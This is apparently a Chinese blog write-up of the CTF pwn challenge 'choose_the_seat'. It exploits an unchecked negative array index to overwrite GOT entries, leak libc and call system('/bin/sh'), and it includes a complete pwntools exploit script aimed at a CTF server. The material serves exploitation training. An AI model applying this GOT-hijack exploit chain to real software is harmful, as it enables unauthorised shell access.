一、作用
数组越界读写是一类较为常见的漏洞,造成的原因在于对数组
二、例题分析
choose_the_seat
程序仅仅检查了v0小于9,但是并没有检查输入值v0的正负
seats变量的位置是在bss区,我们可以通过改写got表来劫持控制流
第一次执行main函数
因为vuln函数结尾有一个exit函数,所以可以通过改写exit的got表来使得重复执行main函数来实现多次改写控制,通过计算位置(0x404040 - 0x4040A0) / 16= -96 / 16 = -6
所以可以通过第一次输入-6来控制read函数往exit的got表位置写入main函数的地址。
#第一次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-6') #覆盖exitGOT表为main函数使得能够重复执行
io.sendline(p64(0x4012d1))
第二次执行main函数
第二次运行时候通过与第一次相似的计算可以将seat的地址指向read函数的got地址,然后puts函数就会输出read的地址,接收输出地址即可
#第二次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-7') #泄露read的got表地址
io.recvuntil(b'name')
io.send(b'\xc0') #不能改变read的got地址
io.recvuntil(b'name is ')
read_got = u64(io.recv(6).ljust(8,b'\x00'))
print("read got >>>> " + hex(read_got)) #输出read got地址
#计算system binsh地址
libcbase = read_got - libc.symbols['read']
system = libcbase + libc.symbols['system']
print("libcbase >>>> " + hex(libcbase))
第三次执行main函数
将binsh写入并且改写puts地址为system函数获得shell
#第三次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-9') #覆盖
io.recvuntil(b'name')
io.sendline(b'/bin/sh\x00' + p64(system))
io.interactive()
EXP:
from pwn import *
file = './vuln'
#io = process(file)
io = remote('node5.anna.nssctf.cn',23608)
elf = ELF(file)
context.log_level = 'debug'
libc = ELF('./libc-2.31.so')
#第一次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-6') #覆盖exitGOT表为main函数使得能够重复执行
io.sendline(p64(0x4012d1))
#第二次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-7') #泄露read的got表地址
io.recvuntil(b'name')
io.send(b'\xc0')
io.recvuntil(b'name is ')
read_got = u64(io.recv(6).ljust(8,b'\x00'))
print("read got >>>> " + hex(read_got)) #输出read got地址
#计算system binsh地址
libcbase = read_got - libc.symbols['read']
system = libcbase + libc.symbols['system']
print("libcbase >>>> " + hex(libcbase))
#第三次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-9') #覆盖
io.recvuntil(b'name')
io.sendline(b'/bin/sh\x00' + p64(system))
io.interactive()
在这道题过程中一直出了一个问题,一直打不通,经过了很长时间的检查才发现是(io.send(b'\xc0'))这一步一开始写的sendline就会导致多发送一个\n导致read的GOT表被改写,从而导致libcbase计算错误,确实是不细心了
Comments NOTHING